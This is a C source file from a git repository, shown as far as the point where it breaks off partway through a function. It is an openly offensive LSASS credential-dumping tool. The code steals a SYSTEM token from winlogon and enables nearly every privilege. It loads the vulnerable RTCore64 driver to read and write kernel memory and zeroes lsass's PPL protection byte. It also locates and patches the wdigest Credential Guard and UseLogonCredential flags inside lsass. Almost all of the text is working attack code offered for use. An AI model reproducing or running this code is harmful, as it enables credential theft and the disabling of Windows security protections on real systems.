etc~ scripts and random things |
| git clone https://github.com/djnnvx/etc.git |
| log | files | refs | archive |
LSASS_CDumper.c (42150B)
1 /* 2 3 Author: vari.sh 4 5 Description: - This program impersonates SYSTEM and implements LSASS dump. Creates a log.txt file in C:\Users\Public. 6 - Additionally, it uses primitives to access memory via the RTCore64 driver, 7 and reads the EPROCESS structure of lsass.exe to verify the offsets needed for disabling PPL. 8 It then writes the byte that disables PPL. 9 - Finally it disables Credentials Guard using the approach of https://github.com/ricardojoserf/NativeBypassCredGuard 10 11 */ 12 13 #define _CRT_SECURE_NO_WARNINGS 14 #include <windows.h> 15 #include <tlhelp32.h> 16 #include <dbghelp.h> 17 #include <stdio.h> 18 #include <aclapi.h> 19 #include <psapi.h> 20 #include <stdlib.h> 21 #include <stdarg.h> 22 #include <string.h> 23 24 25 // Logs 26 static FILE* logfile; 27 28 // Define the function pointer type for MiniDumpWriteDump 29 typedef BOOL(WINAPI* PFN_MDWD)( 30 HANDLE hProcess, 31 DWORD ProcessId, 32 HANDLE hFile, 33 MINIDUMP_TYPE DumpType, 34 PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, 35 PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, 36 PMINIDUMP_CALLBACK_INFORMATION CallbackParam 37 ); 38 39 // ===================================================== 40 // Memory Access Primitives via RTCore64 41 // ===================================================== 42 43 typedef struct _RTCORE64_MSR_READ { 44 DWORD Register; 45 DWORD ValueHigh; 46 DWORD ValueLow; 47 } RTCORE64_MSR_READ; 48 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L 49 _Static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); 50 #endif 51 52 typedef struct _RTCORE64_MEMORY_READ { 53 BYTE Pad0[8]; 54 DWORD64 Address; 55 BYTE Pad1[8]; 56 DWORD ReadSize; 57 DWORD Value; 58 BYTE Pad3[16]; 59 } RTCORE64_MEMORY_READ; 60 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L 61 _Static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); 62 #endif 63 64 typedef struct _RTCORE64_MEMORY_WRITE { 65 BYTE Pad0[8]; 66 DWORD64 Address; 67 BYTE Pad1[8]; 68 DWORD ReadSize; 69 DWORD Value; 70 BYTE Pad3[16]; 71 } RTCORE64_MEMORY_WRITE; 72 #if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L 73 _Static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); 74 #endif 75 76 // IOCTL codes for RTCORE64 77 static const DWORD RTC64_MSR_READ_CODE = 0x80002030; 78 static const DWORD RTC64_MEMORY_READ_CODE = 0x80002048; 79 static const DWORD RTC64_MEMORY_WRITE_CODE = 0x8000204c; 80 81 DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { 82 RTCORE64_MEMORY_READ memRead = { 0 }; 83 memRead.Address = Address; 84 memRead.ReadSize = Size; 85 DWORD BytesReturned; 86 DeviceIoControl(Device, 87 RTC64_MEMORY_READ_CODE, 88 &memRead, 89 sizeof(memRead), 90 &memRead, 91 sizeof(memRead), 92 &BytesReturned, 93 NULL); 94 return memRead.Value; 95 } 96 97 void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { 98 RTCORE64_MEMORY_WRITE memWrite = { 0 }; 99 memWrite.Address = Address; 100 memWrite.ReadSize = Size; 101 memWrite.Value = Value; 102 DWORD BytesReturned; 103 DeviceIoControl(Device, 104 RTC64_MEMORY_WRITE_CODE, 105 &memWrite, 106 sizeof(memWrite), 107 &memWrite, 108 sizeof(memWrite), 109 &BytesReturned, 110 NULL); 111 } 112 113 WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { 114 return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff); 115 } 116 117 DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { 118 return ReadMemoryPrimitive(Device, 4, Address); 119 } 120 121 DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { 122 return (((DWORD64)ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); 123 } 124 125 void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { 126 WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff)); 127 WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32)); 128 } 129 130 // Helper function to read a memory buffer in 4-byte chunks 131 BOOL ReadMemoryBuffer(HANDLE Device, DWORD64 Address, void* Buffer, DWORD BufferSize) { 132 DWORD numDwords = BufferSize / 4; 133 DWORD remainder = BufferSize % 4; 134 for (DWORD i = 0; i < numDwords; i++) { 135 ((DWORD*)Buffer)[i] = ReadMemoryDWORD(Device, Address + i * 4); 136 } 137 if (remainder) { 138 DWORD value = ReadMemoryPrimitive(Device, remainder, Address + numDwords * 4); 139 memcpy((BYTE*)Buffer + numDwords * 4, &value, remainder); 140 } 141 return TRUE; 142 } 143 144 // ===================================================== 145 // Retrieve the Base Address of ntoskrnl.exe via EnumDeviceDrivers 146 // ===================================================== 147 unsigned long long getKBAddr() { 148 DWORD cbNeeded = 0; 149 PVOID* base = NULL; 150 if (EnumDeviceDrivers(NULL, 0, &cbNeeded)) { 151 base = (PVOID*)malloc(cbNeeded); 152 if (base) { 153 if (EnumDeviceDrivers(base, cbNeeded, &cbNeeded)) { 154 unsigned long long addr = (unsigned long long)base[0]; 155 free(base); 156 return addr; 157 } 158 free(base); 159 } 160 } 161 return 0; 162 } 163 164 // ===================================================== 165 // OS Version Detection and Offsets setting 166 // ===================================================== 167 168 // Structure containing the three useful offsets 169 typedef struct _Offsets { 170 DWORD64 ActiveProcessLinks; // Offset of the ActiveProcessLinks field in _EPROCESS 171 DWORD64 ImageFileName; // Offset of the ImageFileName field in _EPROCESS 172 DWORD64 Protection; // Offset of the Protection (PS_PROTECTION) field in _EPROCESS 173 } Offsets; 174 175 176 // Function to get the OS version 177 int GetOSVersion() { 178 wchar_t CurrentBuild[255] = { 0 }; 179 DWORD bufferSize = sizeof(CurrentBuild); 180 LONG ret = RegGetValueW( 181 HKEY_LOCAL_MACHINE, 182 L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 183 L"CurrentBuild", 184 RRF_RT_REG_SZ, 185 NULL, 186 CurrentBuild, 187 &bufferSize 188 ); 189 if (ret == ERROR_SUCCESS) { 190 fwprintf(logfile, L"[*] Windows Build %s detected\n", CurrentBuild); 191 return _wtoi(CurrentBuild); 192 } 193 else { 194 fwprintf(logfile, L"[ERROR] Unable to retrieve Windows Build. Error code: %ld\n", ret); 195 return -1; 196 } 197 } 198 199 // Function to get the offsets 200 Offsets getOffsets() { 201 int build = GetOSVersion(); 202 203 if (build < 0) { 204 exit(-1); 205 } 206 207 Offsets offs = { 0, 0, 0 }; 208 209 // Offsets table for x64 (TODO) 210 if (build <= 14393) { // Windows 10 version 1607 (Build 14393) 211 offs.ActiveProcessLinks = 0x0000; 212 offs.ImageFileName = 0x0000; 213 offs.Protection = 0x0000; 214 } 215 else if (build <= 17134) { // Windows 10 version 1803 (Build 17134) 216 offs.ActiveProcessLinks = 0x0000; 217 offs.ImageFileName = 0x0000; 218 offs.Protection = 0x0000; 219 } 220 else if (build <= 17763) { // Windows 10 version 1809 (Build 17763) 221 offs.ActiveProcessLinks = 0x0000; 222 offs.ImageFileName = 0x0000; 223 offs.Protection = 0x0000; 224 } 225 else if (build <= 18362) { // Windows 10 version 1903 (Build 18362) 226 offs.ActiveProcessLinks = 0x0000; 227 offs.ImageFileName = 0x0000; 228 offs.Protection = 0x0000; 229 } 230 else if (build <= 18363) { // Windows 10 version 1909 (Build 18363) 231 offs.ActiveProcessLinks = 0x0000; 232 offs.ImageFileName = 0x0000; 233 offs.Protection = 0x0000; 234 } 235 else if (build <= 19045) { // Windows 10 version 22H2 (Build 19041) 236 offs.ActiveProcessLinks = 0x448; 237 offs.ImageFileName = 0x5a8; 238 offs.Protection = 0x87a; 239 } 240 else if (build <= 22631) { // Windows 23H2 241 offs.ActiveProcessLinks = 0x448; 242 offs.ImageFileName = 0x5a8; 243 offs.Protection = 0x87a; 244 } 245 else if (build > 22631) { // Windows 11 24H2 and above 246 offs.ActiveProcessLinks = 0x1d8; 247 offs.ImageFileName = 0x338; 248 offs.Protection = 0x5fa; 249 } 250 else { 251 wprintf(L"[ERROR] Offsets not defined for build %d on x64.\n", build); 252 exit(1); 253 } 254 return offs; 255 } 256 257 // ===================================================== 258 // Driver loading and unloading 259 // ===================================================== 260 261 // Function to load and start the driver 262 #define DRIVER_NAME "mDriver" 263 #define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys" 264 #define DEVICE_NAME L"\\\\.\\RTCore64" 265 266 // Helper function to open the Service Control Manager with the specified access rights 267 SC_HANDLE OpenSCManagerHandle(DWORD dwAccess) { 268 SC_HANDLE hSCM = OpenSCManager(NULL, NULL, dwAccess); 269 if (!hSCM) { 270 fprintf(logfile, "[ERROR] OpenSCManager failed. Error code: %lu\n", GetLastError()); 271 } 272 return hSCM; 273 } 274 275 // Helper function to create or open the driver service 276 SC_HANDLE CreateOrOpenDriverService(SC_HANDLE hSCM, const char* driverName, const char* driverPath) { 277 SC_HANDLE hService = CreateServiceA( 278 hSCM, 279 driverName, // Internal service name 280 driverName, // Display name 281 SERVICE_ALL_ACCESS, 282 SERVICE_KERNEL_DRIVER, 283 SERVICE_DEMAND_START, 284 SERVICE_ERROR_IGNORE, 285 driverPath, // Full path to the driver file 286 NULL, NULL, NULL, NULL, NULL 287 ); 288 if (!hService) { 289 DWORD err = GetLastError(); 290 if (err == ERROR_SERVICE_EXISTS) { 291 hService = OpenServiceA(hSCM, driverName, SERVICE_ALL_ACCESS); 292 if (hService) { 293 fprintf(logfile, "[+] Existing service opened successfully.\n"); 294 } 295 else { 296 fprintf(logfile, "[ERROR] Unable to open the existing service. Error code: %lu\n", GetLastError()); 297 } 298 } 299 else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) { 300 fprintf(logfile, "[ERROR] Service is marked for deletion.\n"); 301 } 302 else { 303 fprintf(logfile, "[ERROR] CreateService error. Error code: %lu\n", err); 304 } 305 } 306 else { 307 fprintf(logfile, "[+] Service created successfully.\n"); 308 } 309 return hService; 310 } 311 312 // Function to load and start the driver 313 int LoadAndStartDriver(void) { 314 SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_CREATE_SERVICE); 315 if (!hSCM) 316 return 1; 317 318 SC_HANDLE hService = CreateOrOpenDriverService(hSCM, DRIVER_NAME, DRIVER_PATH); 319 if (!hService) { 320 CloseServiceHandle(hSCM); 321 return 1; 322 } 323 324 // Start the driver service 325 if (!StartServiceA(hService, 0, NULL)) { 326 DWORD err = GetLastError(); 327 if (err != ERROR_SERVICE_ALREADY_RUNNING) { 328 fprintf(logfile, "[ERROR] StartService error. Error code: %lu\n", err); 329 DeleteService(hService); 330 CloseServiceHandle(hService); 331 CloseServiceHandle(hSCM); 332 return 1; 333 } 334 else { 335 fprintf(logfile, "[*] Driver is already loaded.\n"); 336 } 337 } 338 else { 339 fprintf(logfile, "[+] Driver loaded and started successfully.\n"); 340 } 341 342 // Close the handles 343 CloseServiceHandle(hService); 344 CloseServiceHandle(hSCM); 345 return 0; 346 } 347 348 // Function to stop and unload the driver 349 int StopAndUnloadDriver(const char* driverName) { 350 SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_ALL_ACCESS); 351 if (!hSCM) 352 return 1; 353 354 SC_HANDLE hService = OpenServiceA(hSCM, driverName, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS); 355 if (!hService) { 356 DWORD err = GetLastError(); 357 if (err == ERROR_SERVICE_DOES_NOT_EXIST) { 358 fprintf(logfile, "[ERROR] Service does not exist.\n"); 359 CloseServiceHandle(hSCM); 360 return 0; 361 } 362 else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) { 363 fprintf(logfile, "[*] Service is already marked for deletion.\n"); 364 CloseServiceHandle(hSCM); 365 return 0; 366 } 367 else { 368 fprintf(logfile, "[ERROR] Error: %s.\n", err); 369 CloseServiceHandle(hSCM); 370 return 0; 371 } 372 fprintf(logfile, "[ERROR] OpenService failed. Error code: %lu\n", err); 373 CloseServiceHandle(hSCM); 374 return 1; 375 376 } 377 378 SERVICE_STATUS status; 379 if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) { 380 DWORD err = GetLastError(); 381 if (err == ERROR_SERVICE_NOT_ACTIVE) { 382 fprintf(logfile, "[*] The service is not active.\n"); 383 } 384 else { 385 fprintf(logfile, "[ERROR] ControlService (stop) failed. Error code: %lu\n", err); 386 } 387 } 388 else { 389 fprintf(logfile, "[+] Service stopped successfully.\n"); 390 } 391 392 // Attempt to delete the service 393 if (!DeleteService(hService)) { 394 DWORD err = GetLastError(); 395 if (err == ERROR_SERVICE_MARKED_FOR_DELETE) { 396 fprintf(logfile, "[*] Service is already marked for deletion.\n"); 397 } 398 else { 399 fprintf(logfile, "[ERROR] DeleteService failed. Error code: %lu\n", err); 400 CloseServiceHandle(hService); 401 CloseServiceHandle(hSCM); 402 return 1; 403 } 404 } 405 else { 406 fprintf(logfile, "[+] Service deleted successfully.\n"); 407 } 408 409 // Close the handles 410 CloseServiceHandle(hService); 411 CloseServiceHandle(hSCM); 412 return 0; 413 } 414 415 // ===================================================== 416 // Function to Read the EPROCESS Structure of lsass.exe 417 // ===================================================== 418 419 void static disablePPL() { 420 421 Offsets offs = getOffsets(); 422 if (offs.ActiveProcessLinks == 0 || offs.ImageFileName == 0 || offs.Protection == 0) { 423 fprintf(logfile, "[ERROR] Offset not mapped... exiting!\n"); 424 exit(1); 425 } 426 427 HANDLE Device = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 428 if (Device == INVALID_HANDLE_VALUE) { 429 fprintf(logfile, "[ERROR] Unable to obtain a handle to the device object\n"); 430 return; 431 } 432 fprintf(logfile, "[*] Device handle obtained\n"); 433 434 unsigned long long ntoskrnlBase = getKBAddr(); 435 fprintf(logfile, "[*] ntoskrnl.exe base address: 0x%llx\n", ntoskrnlBase); 436 437 HMODULE hNtoskrnl = LoadLibraryW(L"ntoskrnl.exe"); 438 if (!hNtoskrnl) { 439 fprintf(logfile, "[ERROR] Failed to load ntoskrnl.exe\n"); 440 CloseHandle(Device); 441 return; 442 } 443 // Calculate the offset of the exported variable PsInitialSystemProcess 444 DWORD64 PsInitialSystemProcessOffset = (DWORD64)GetProcAddress(hNtoskrnl, "PsInitialSystemProcess") - (DWORD64)hNtoskrnl; 445 FreeLibrary(hNtoskrnl); 446 447 // Retrieve the address of the System process's EPROCESS 448 DWORD64 SystemProcessEPROCESS = ReadMemoryDWORD64(Device, ntoskrnlBase + PsInitialSystemProcessOffset); 449 fprintf(logfile, "[*] PsInitialSystemProcess (EPROCESS) address: 0x%llx\n", SystemProcessEPROCESS); 450 451 // Calculate the list head (located within the EPROCESS) 452 DWORD64 ListHead = SystemProcessEPROCESS + offs.ActiveProcessLinks; 453 DWORD64 CurrentEntry = ReadMemoryDWORD64(Device, ListHead); // First element of the list 454 455 while (CurrentEntry != ListHead) { 456 // The current EPROCESS address is obtained by subtracting the offset from the LIST_ENTRY pointer 457 DWORD64 eprocess = CurrentEntry - offs.ActiveProcessLinks; 458 459 // Read the ImageFileName field (15 bytes, as defined in the struct) and add a null terminator 460 char imageName[16] = { 0 }; 461 ReadMemoryBuffer(Device, eprocess + offs.ImageFileName, imageName, 15); 462 imageName[15] = '\0'; 463 464 if (_stricmp(imageName, "lsass.exe") == 0) { 465 fprintf(logfile, "[*] Found EPROCESS at 0x%llx\n", eprocess); 466 // Read the protection byte (PPL) from the EPROCESS 467 BYTE protection = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection); 468 fprintf(logfile, "[*] Protection value: 0x%02X\n", protection); 469 470 // To disable PPL, write 0x00 into this field. 471 // Warning: perform this operation only if you are sure the offsets are correct. 472 WriteMemoryPrimitive(Device, 1, eprocess + offs.Protection, 0x00); 473 fprintf(logfile, "[+] PPL disabled (0x00 written)\n"); 474 475 // Read the protection byte (PPL) from the EPROCESS again 476 BYTE protection_post = (BYTE)ReadMemoryPrimitive(Device, 1, eprocess + offs.Protection); 477 fprintf(logfile, "[*] Protection value after write: 0x%02X\n", protection_post); 478 479 break; 480 } 481 // Move to the next element in the list 482 CurrentEntry = ReadMemoryDWORD64(Device, CurrentEntry); 483 } 484 485 CloseHandle(Device); 486 } 487 488 // ===================================================== 489 // Function to load clean versions of DLLs 490 // ===================================================== 491 HMODULE LoadCleanDLL(char* dllPath) { 492 493 HMODULE hDLL = LoadLibraryA(dllPath); 494 if (hDLL) 495 { 496 fprintf(logfile, "[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL); 497 } 498 else 499 { 500 fprintf(logfile, "[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError()); 501 } 502 503 return hDLL; 504 } 505 506 // ===================================================== 507 // Function to obtain a SYSTEM token 508 // ===================================================== 509 BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken) { 510 PROCESSENTRY32 pe = { 0 }; 511 pe.dwSize = sizeof(PROCESSENTRY32); 512 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 513 if (hSnapshot == INVALID_HANDLE_VALUE) { 514 fprintf(logfile, "CreateToolhelp32Snapshot error: %u\n", GetLastError()); 515 return FALSE; 516 } 517 518 BOOL found = FALSE; 519 HANDLE hProcess = NULL; 520 HANDLE hToken = NULL; 521 HANDLE hDupToken = NULL; 522 523 if (Process32First(hSnapshot, &pe)) { 524 do { 525 // Look for winlogon 526 if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) { 527 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID); 528 if (hProcess) { 529 if (OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) { 530 if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) { 531 *hSystemToken = hDupToken; 532 found = TRUE; 533 CloseHandle(hToken); 534 CloseHandle(hProcess); 535 fprintf(logfile, "[+] Successfully duplicated token. Process can now run as SYSTEM.\n"); 536 break; 537 } 538 CloseHandle(hToken); 539 } 540 CloseHandle(hProcess); 541 } 542 } 543 } while (Process32Next(hSnapshot, &pe)); 544 } 545 CloseHandle(hSnapshot); 546 547 if (!found) { 548 fprintf(logfile, "Failed to obtain system token\n"); 549 return FALSE; 550 } 551 return TRUE; 552 } 553 554 // ======================================== 555 // Functions to get all privileges 556 // ======================================== 557 558 // Function to enable a specific privilege on the provided token. 559 // This function does not open the token itself, but uses the token passed as parameter. 560 BOOL EnablePrivilege(HANDLE hToken, LPCWSTR privilegeName) { 561 TOKEN_PRIVILEGES tokenPrivs; 562 LUID luid; 563 564 // Lookup the LUID for the specified privilege 565 if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) { 566 // wprintf(L"[ERROR] Failed to lookup privilege %ls. Error: %lu\n", privilegeName, GetLastError()); 567 return FALSE; 568 } 569 // wprintf(L"[INFO] LUID for privilege %ls retrieved successfully.\n", privilegeName); 570 571 // Set up the TOKEN_PRIVILEGES structure 572 tokenPrivs.PrivilegeCount = 1; 573 tokenPrivs.Privileges[0].Luid = luid; 574 tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 575 576 // Adjust the token privileges to enable the privilege 577 if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivs, sizeof(tokenPrivs), NULL, NULL)) { 578 // wprintf(L"[ERROR] AdjustTokenPrivileges failed for %ls. Error: %lu\n", privilegeName, GetLastError()); 579 return FALSE; 580 } 581 582 // Check if the privilege was successfully enabled 583 if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { 584 // wprintf(L"[ERROR] The privilege %ls could not be enabled. Not all privileges were assigned.\n", privilegeName); 585 return FALSE; 586 } 587 588 // wprintf(L"[+] Privilege %ls enabled successfully.\n", privilegeName); 589 return TRUE; 590 } 591 592 // Function to enable all desired privileges on the provided token. 593 void EnableAllPrivileges(HANDLE hToken) { 594 // List of privileges to enable 595 LPCWSTR privileges[] = { 596 SE_BACKUP_NAME, 597 SE_CHANGE_NOTIFY_NAME, 598 SE_CREATE_GLOBAL_NAME, 599 SE_CREATE_PAGEFILE_NAME, 600 SE_CREATE_PERMANENT_NAME, 601 SE_CREATE_SYMBOLIC_LINK_NAME, 602 SE_DEBUG_NAME, 603 SE_IMPERSONATE_NAME, 604 SE_INC_BASE_PRIORITY_NAME, 605 SE_INC_WORKING_SET_NAME, 606 SE_LOCK_MEMORY_NAME, 607 SE_MACHINE_ACCOUNT_NAME, 608 SE_MANAGE_VOLUME_NAME, 609 SE_PROF_SINGLE_PROCESS_NAME, 610 SE_RESTORE_NAME, 611 SE_SHUTDOWN_NAME, 612 SE_SYSTEM_ENVIRONMENT_NAME, 613 SE_SYSTEM_PROFILE_NAME, 614 SE_SYSTEMTIME_NAME, 615 SE_TAKE_OWNERSHIP_NAME, 616 SE_TCB_NAME, 617 SE_TIME_ZONE_NAME, 618 SE_TRUSTED_CREDMAN_ACCESS_NAME, 619 SE_UNSOLICITED_INPUT_NAME 620 }; 621 622 int numPrivileges = sizeof(privileges) / sizeof(privileges[0]); 623 for (int i = 0; i < numPrivileges; i++) { 624 // wprintf(L"Trying to enable privilege: %ls\n", privileges[i]); 625 if (!EnablePrivilege(hToken, privileges[i])) { 626 // wprintf(L"[ERROR] Failed to enable privilege: %ls\n", privileges[i]); 627 } 628 else { 629 // wprintf(L"[INFO] Privilege enabled: %ls\n", privileges[i]); 630 } 631 } 632 } 633 634 // =============================== 635 // Function to get process handle and modules 636 // =============================== 637 638 BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE* hProcess, OUT DWORD* pID) 639 { 640 DWORD pid = 0; 641 HANDLE hP = NULL; 642 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 643 if (hSnapshot == INVALID_HANDLE_VALUE) 644 { 645 fprintf(logfile, "[ERROR] Invalid HANDLE to process snapshots [%d]\n", GetLastError()); 646 return FALSE; 647 } 648 649 PROCESSENTRY32 pe; 650 pe.dwSize = sizeof(PROCESSENTRY32); 651 652 if (!Process32First(hSnapshot, &pe)) 653 { 654 fprintf(logfile, "[ERROR] Could not enumerate processes [%d]\n", GetLastError()); 655 CloseHandle(hSnapshot); 656 return FALSE; 657 } 658 659 do { 660 if (_wcsicmp(processName, pe.szExeFile) == 0) 661 { 662 pid = pe.th32ProcessID; 663 fprintf(logfile, "[*] Trying to open handle on %ls, on PID %d\n", processName, pid); 664 665 hP = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); 666 if (hP == NULL) 667 { 668 fprintf(logfile, "[ERROR] Could not open handle on PID %d, Error: %d\n", pid, GetLastError()); 669 } 670 else 671 { 672 fprintf(logfile, "[+] Successfully got handle on PID %d\n", pid); 673 *pID = pid; 674 *hProcess = hP; 675 CloseHandle(hSnapshot); 676 return TRUE; 677 } 678 } 679 } while (Process32Next(hSnapshot, &pe)); 680 681 CloseHandle(hSnapshot); 682 fprintf(logfile, "[ERROR] Process %ls not found.\n", processName); 683 return FALSE; 684 } 685 686 687 #define MAX_MODULES 1024 688 689 // Function to enumerate a process' modules and find the address of 'module.dll' 690 LPVOID EnumerateModulesAndFindAddress(HANDLE hProcess, const char* moduleName) { 691 HMODULE hMods[MAX_MODULES]; 692 DWORD cbNeeded; 693 unsigned int i; 694 695 // Get all the modules of the process 696 if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { 697 // fprintf(logfile, "Modules loaded in the process:\n"); 698 699 // Calculate the number of modules 700 unsigned int numModules = cbNeeded / sizeof(HMODULE); 701 702 // Scan all modules 703 for (i = 0; i < numModules; i++) { 704 char szModName[MAX_PATH]; 705 706 // Get the module name 707 if (GetModuleFileNameExA(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(char))) { 708 // fprintf(logfile, "%d: %s\n", i, szModName); 709 710 // Check if the module is the one being searched for 711 if (strstr(szModName, moduleName) != NULL) { 712 MODULEINFO modInfo; 713 if (GetModuleInformation(hProcess, hMods[i], &modInfo, sizeof(modInfo))) { 714 // fprintf(logfile, "Base address of module %s: 0x%p\n", moduleName, modInfo.lpBaseOfDll); 715 return modInfo.lpBaseOfDll; 716 } 717 else { 718 fprintf(logfile, "[ERROR] Unable to get information about module %s.\n", moduleName); 719 return NULL; 720 } 721 } 722 } 723 } 724 } 725 else { 726 fprintf(logfile, "[ERROR] Error enumerating the process modules: %lu\n", GetLastError()); 727 return NULL; 728 } 729 } 730 731 // ===================================================== 732 // Function to Disable credentialGuard 733 // ===================================================== 734 735 int disableCG() { 736 DWORD bytesReadf; 737 // Read wdigest.dll from disk 738 HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\wdigest.dll", GENERIC_READ, FILE_SHARE_READ, 739 NULL, OPEN_EXISTING, 0, NULL); 740 if (hFile == INVALID_HANDLE_VALUE) { 741 fprintf(logfile, "[ERROR] Unable to open wdigest.dll from disk.\n"); 742 return 1; 743 } 744 // Read up to 1 MB 745 BYTE* fileBuffer = (BYTE*)malloc(1024 * 1024); 746 if (!fileBuffer) { 747 CloseHandle(hFile); 748 return 1; 749 } 750 if (!ReadFile(hFile, fileBuffer, 1024 * 1024, &bytesReadf, NULL)) { 751 fprintf(logfile, "[ERROR] Error in ReadFile.\n"); 752 free(fileBuffer); 753 CloseHandle(hFile); 754 return 1; 755 } 756 CloseHandle(hFile); 757 758 // Parse the PE file to locate the .text section 759 DWORD peOffset = *(DWORD*)(fileBuffer + 0x3C); 760 if (*(DWORD*)(fileBuffer + peOffset) != 0x00004550) { // "PE\0\0" 761 fprintf(logfile, "[ERROR] Invalid PE signature.\n"); 762 free(fileBuffer); 763 return 1; 764 } 765 WORD numSections = *(WORD*)(fileBuffer + peOffset + 6); 766 WORD sizeOptionalHeader = *(WORD*)(fileBuffer + peOffset + 20); 767 int sectionHeadersOffset = peOffset + 24 + sizeOptionalHeader; 768 769 DWORD textVirtualAddress = 0, textRawDataPointer = 0, textRawDataSize = 0; 770 for (int i = 0; i < numSections; i++) { 771 int secOffset = sectionHeadersOffset + (i * 40); // each header is 40 bytes 772 char sectionName[9] = { 0 }; 773 memcpy(sectionName, fileBuffer + secOffset, 8); 774 if (strcmp(sectionName, ".text") == 0) { 775 textVirtualAddress = *(DWORD*)(fileBuffer + secOffset + 12); 776 textRawDataSize = *(DWORD*)(fileBuffer + secOffset + 16); 777 textRawDataPointer = *(DWORD*)(fileBuffer + secOffset + 20); 778 break; 779 } 780 } 781 if (textVirtualAddress == 0) { 782 fprintf(logfile, "[ERROR] .text section not found.\n"); 783 free(fileBuffer); 784 return 1; 785 } 786 787 // --- 3. Search for the pattern in the .text section --- 788 // The pattern used here: looking for a sequence where: 789 // byte0 == 0x39, byte5 == 0x00, byte6 == 0x8B, byte11 == 0x00 790 // If the pattern is found, extract: 791 // useLogonCredential = (b2 | b3<<8 | b4<<16) 792 // isCredGuardEnabled = (b8 | b9<<8 | b10<<16) 793 int patternFound = 0; 794 int patternOffset = 0; 795 int useLogonVal = 0, credGuardVal = 0; 796 for (DWORD j = textRawDataPointer; j < textRawDataPointer + textRawDataSize - 12; j++) { 797 if (fileBuffer[j] == 0x39 && fileBuffer[j + 5] == 0x00 && 798 fileBuffer[j + 6] == 0x8B && fileBuffer[j + 11] == 0x00) { 799 // The relative offset in the module is: (j - rawDataPointer) + virtualAddress 800 patternOffset = (int)(j - textRawDataPointer) + textVirtualAddress; 801 useLogonVal = fileBuffer[j + 2] | (fileBuffer[j + 3] << 8) | (fileBuffer[j + 4] << 16); 802 credGuardVal = fileBuffer[j + 8] | (fileBuffer[j + 9] << 8) | (fileBuffer[j + 10] << 16); 803 patternFound = 1; 804 break; 805 } 806 } 807 if (!patternFound) { 808 fprintf(logfile, "[ERROR] Pattern not found in PE file.\n"); 809 return 1; 810 } 811 812 fprintf(logfile, "[*] patternOffset = %X - useLogonVal = %X - credGuardVal = %X\n", patternOffset, useLogonVal, credGuardVal); 813 814 // Print the next 12 bytes from the pattern's file offset 815 fprintf(logfile, "[*] Next 12 bytes after the pattern start:\n"); 816 for (int i = 0; i < 12; i++) { 817 fprintf(logfile, "%02X ", fileBuffer[patternOffset + i]); 818 } 819 fprintf(logfile, "\n"); 820 821 free(fileBuffer); 822 823 824 // Compute the final offsets in wdigest.dll 825 DWORD useLogonCredentialOffset = useLogonVal + patternOffset + 6; 826 DWORD credGuardOffset = credGuardVal + patternOffset + 12; 827 828 // Create a snapshot of active processes 829 LPWSTR processName = L"lsass.exe"; 830 HANDLE hLsass = NULL; 831 DWORD pID; 832 833 GetProcessHandle(processName, &hLsass, &pID); 834 835 836 const char* moduleName = "wdigest.DLL"; 837 LPVOID wdigestBaseAddress = EnumerateModulesAndFindAddress(hLsass, moduleName); 838 839 // Compute the actual addresses in lsass and patch the values 840 LPVOID addrUseLogon = (LPVOID)((uintptr_t)wdigestBaseAddress + useLogonCredentialOffset); 841 LPVOID addrCredGuard = (LPVOID)((uintptr_t)wdigestBaseAddress + credGuardOffset); 842 843 